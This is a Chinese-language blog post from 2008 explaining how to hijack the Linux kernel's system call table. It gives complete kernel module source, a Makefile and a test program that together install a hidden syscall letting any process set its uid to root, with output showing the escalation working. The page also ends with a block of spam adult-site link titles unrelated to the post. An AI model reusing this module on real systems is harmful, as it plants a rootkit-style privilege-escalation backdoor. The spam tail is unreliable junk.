Snowdream
posts - 403, comments - 310, trackbacks - 0, articles - 7
BlogJava
::
首頁
::
新隨筆
::
聯系
::
聚合
::
管理
Hacking the Kernel - 修改系統調用表
Posted on 2008-02-19 14:55
ZelluX
閱讀(755)
評論(0)
編輯
收藏
所屬分類:
Linux
、
System
昨天硬是沒找到正確的sys_call_table的地址,原來我之前在虛擬機上裝的ArchLinux是64位的。。
今天在真機上成功地修改了系統調用表。
測試環境:ArchLinux 2.6.24
1. 2.4.20以后的內核出于安全考慮,沒有導出sys_call_table符號,所以要先通過System.map找到sys_call_table的地址
$ cat /boot/System.map26 | grep sys_call_table
c0375680 R sys_call_table
另外也可以用nm工具獲得vmlinux中的所有符號
$ nm /usr/src/linux-2.6.24-ARCH/vmlinux | grep sys_call_table
結果一樣
2. 以添加一個把uid改成root(0)為例,寫一個內核模塊:
addcall.c
#include?
<
linux
/
kernel.h
>
#include?
<
linux
/
module.h
>
#include?
<
linux
/
init.h
>
#include?
<
linux
/
unistd.h
>
#include?
<
linux
/
time.h
>
#include?
<
asm
/
uaccess.h
>
#include?
<
linux
/
sched.h
>
#define
?__NR_changeuid?238
MODULE_DESCRIPTION(
"
Change?uid?to?0
"
);
MODULE_AUTHOR(
"
ZelluX
"
);
static
?
int
?(
*
saved)?(
void
);
void
?
**
?sys_call_table?
=
?
0xc0375680
;
asmlinkage?
int
?sys_changeuid(
void
)
{
????current
->
uid?
=
?current
->
euid?
=
?current
->
suid?
=
?current
->
fsuid?
=
?
0
;
????printk(KERN_ALERT?
"
uid?has?been?changed.
"
);
????
return
?
0
;
}
int
?__init?init_addsyscall(
void
)
{
????saved?
=
?(
int
?(
*
)?(
void
))?(sys_call_table[__NR_changeuid]);
????sys_call_table[__NR_changeuid]?
=
?(unsigned?
long
)?sys_changeuid;
????printk(KERN_ALERT?
"
the?call?has?been?added.
"
);
????
return
?
0
;
}
void
?__exit?exit_addsyscall(
void
)
{
????sys_call_table[__NR_changeuid]?
=
?(unsigned?
long
)?saved;
????printk(KERN_ALERT?
"
the?call?has?been?removed
"
);
}
module_init(init_addsyscall);
module_exit(exit_addsyscall);
對應的Makefile:
ifneq?($(KERNELRELEASE)
,
)
????obj-m?:
=
?addcall.o
else
????KERNELDIR??
=
?/lib/modules/$(shell?uname?-r)/build
????PWD??:
=
?$(shell?pwd)
default:
????????$(MAKE)?-C?$(KERNELDIR)?M
=
$(PWD)?modules
endif
3. 使用insmod addcall.ko載入模塊后,用dmesg可以看到the call has been added.
4. 測試程序
test.c
#include?
<
linux
/
unistd.h
>
#include?
<
stdio.h
>
#define
?__NR_changeuid?238
int
?main()
{
????printf(
"
Previous?uid?=?%d\n
"
,?syscall(__NR_getuid));
????syscall(__NR_changeuid);
????printf(
"
Current?uid?=?%d\n
"
,?syscall(__NR_getuid));
????
return
?
0
;
}
使用gcc -o test test.c編譯
5. 運行./test,即可看到類似的成功信息:
Previous uid = 1002
Current uid = 0
6. 卸載模塊rmmod addcall,此時再次運行./test就會失敗
新用戶注冊
刷新評論列表
只有注冊用戶
登錄
后才能發表評論。
網站導航:
博客園
IT新聞
Chat2DB
C++博客
博問
管理
相關文章:
PieTTY中按Ctrl+S導致掛起的問題解決
Ubuntu 8.10 瀏覽網頁不穩定的解決方法
上來bs下ctags 5.4
vim中.cpp的配置和c.vim中指定的一樣
讀核筆記(6) - 虛擬存儲
Patching CVE-2008-0600, Local Root Exploit
[zz]LKM Rootkits on Linux x86 v2.6
信號量使用例程
讀核筆記(5) - 共享內存
Hacking the Kernel - 修改系統調用表
Powered by:
BlogJava
Copyright © ZelluX
日歷
<
2008年2月
>
日
一
二
三
四
五
六
27
28
29
30
31
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
1
2
3
4
5
6
7
8
常用鏈接
我的隨筆
我的評論
我的參與
最新評論
留言簿
(21)
給我留言
查看公開留言
查看私人留言
隨筆分類
(390)
Algorithm(57)
C/C++(39)
Courses(15)
Economics(2)
Laboratory(25)
Linux(47)
Mathematics(12)
OOP(89)
Scripting(19)
Security(3)
System(28)
Web(10)
書、電影、音樂(11)
其他(14)
點滴(19)
隨筆檔案
(389)
2009年12月 (1)
2009年4月 (1)
2009年3月 (4)
2009年2月 (2)
2009年1月 (2)
2008年11月 (1)
2008年10月 (9)
2008年9月 (1)
2008年7月 (2)
2008年6月 (4)
2008年5月 (12)
2008年4月 (18)
2008年3月 (7)
2008年2月 (33)
2008年1月 (19)
2007年12月 (8)
2007年11月 (14)
2007年10月 (24)
2007年9月 (18)
2007年8月 (28)
2007年7月 (33)
2007年6月 (26)
2007年5月 (30)
2007年4月 (92)
文章檔案
(7)
2007年7月 (2)
2007年5月 (4)
2007年4月 (1)
相冊
Illustration
15ers
jonathan的BLOG
Right There...
宙斯魚的小魚缸
小鮑的世界
簡單幸福
逃遁的Persephone
阿繆爾的錦瑟
風之語的BLOG
友情鏈接
(04CS) ljh
(05CS) 小菜虎的窩
(06CS) FreePeter
(06SS) Overboming
(06SS) Sherry
(06SS) 十指飛揚
(06SS) 銀色子彈
luohandsome的專欄
平淡是真——啃啃不老閣
收藏夾
[ADN.cn]Library
Debian學習筆記
Dictionary of Algorithms and Data Structures
Gollum
Lex&Yacc
Max On Java
techInterview Discussion
核桃仁
程序員面試題精選100題
鐵手
搜索
積分與排名
積分 - 336599
排名 - 167
最新隨筆
1.?新博客
2.?慎用xen的make world...
3.?內存模型相關的資料
4.?安全方面的經典論文:A Logic of Authentication
5.?Lock-Free 算法的幾個鏈接
6.?10 Papers Every Programmer Should Read
7.?PieTTY中按Ctrl+S導致掛起的問題解決
8.?Finding and Reproducing Heisenbugs in Concurrent Programs
9.?Ubuntu 8.10 瀏覽網頁不穩定的解決方法
10.?[zz]蘇南經濟模式興衰親歷記
最新評論
1.?re: C/C++中的序列點
說的太好了,解決我長久的困擾!
--除美滅日平韓
2.?re: 原來GCC是支持尾遞歸的遞推優化的
評論內容較長,點擊標題查看
--darkhorse
3.?re: Arch下配置samba服務
我按照你的方法,安裝了SAMBA,但是 /etc/rc.d/samba start 啟動不了samba服務。提示不存在這個文件或目錄的,怎么辦?
--zhangbear
4.?re: [zz]LKM Rootkits on Linux x86 v2.6
rhel 5 系列 安裝了 Xen 內核, 怎么rootkit xen kernel 呢?
--消息
5.?re: CLRS 習題 16.2-6 部分背包問題的O(n)算法
@ynnej
T(n)=2T(n/2)+O(n) 才是 nlgn 注意其中有一個2
--荒廢庭院
閱讀排行榜
1.?[zz]vim+ctags+taglist插件安裝使用(18313)
2.?memcpy函數代碼分析(9385)
3.?[zz]Zotero與Endnote的互相導入(8777)
4.?BNF 文法 (1) - 語法樹 | 二義性的解決(8261)
5.?Java泛型中的? super T語法(6560)
評論排行榜
1.?C# 學習筆記 (1)(14)
2.?Windows - QQ、網頁Flash視頻無聲音的解決方法(14)
3.?URAL 1011(10)
4.?《編程之美》上的一道題目的討論(8)
5.?Singleton模式與雙檢測鎖定(DCL)(7)
主站蜘蛛池模板:
色欲国产麻豆一精品一AV一免费
|
亚洲а∨精品天堂在线
|
久久亚洲精品国产精品黑人
|
国产精品亚洲mnbav网站
|
a拍拍男女免费看全片
|
久久综合九色综合97免费下载
|
成人免费无码H在线观看不卡
|
日韩大片在线永久免费观看网站
|
国产亚洲一区二区在线观看
|
亚洲日韩激情无码一区
|
在线亚洲午夜理论AV大片
|
亚洲综合色自拍一区
|
亚洲色婷婷六月亚洲婷婷6月
|
亚洲男同帅GAY片在线观看
|
国产精品亚洲а∨无码播放
|
亚洲国产精品无码av
|
久久久久亚洲AV无码网站
|
亚洲视频日韩视频
|
亚洲一线产区二线产区精华
|
亚洲午夜福利在线视频
|
欧美色欧美亚洲另类二区
|
免费一级特黄特色大片
|
a级毛片毛片免费观看久潮
|
午夜精品一区二区三区免费视频
|
国产免费一区二区三区
|
在线视频免费观看www动漫
|
国产免费久久精品
|
国产亚洲精品看片在线观看
|
亚洲av永久无码精品网站
|
亚洲欧洲国产视频
|
亚洲国产综合AV在线观看
|
十八禁的黄污污免费网站
|
全黄大全大色全免费大片
|
57pao国产成视频免费播放
|
男人的好看免费观看在线视频
|
国产精品麻豆免费版
|
亚洲熟妇无码另类久久久
|
亚洲黄色片在线观看
|
亚洲Av永久无码精品黑人
|
国产vA免费精品高清在线观看
|
亚洲精品宾馆在线精品酒店
|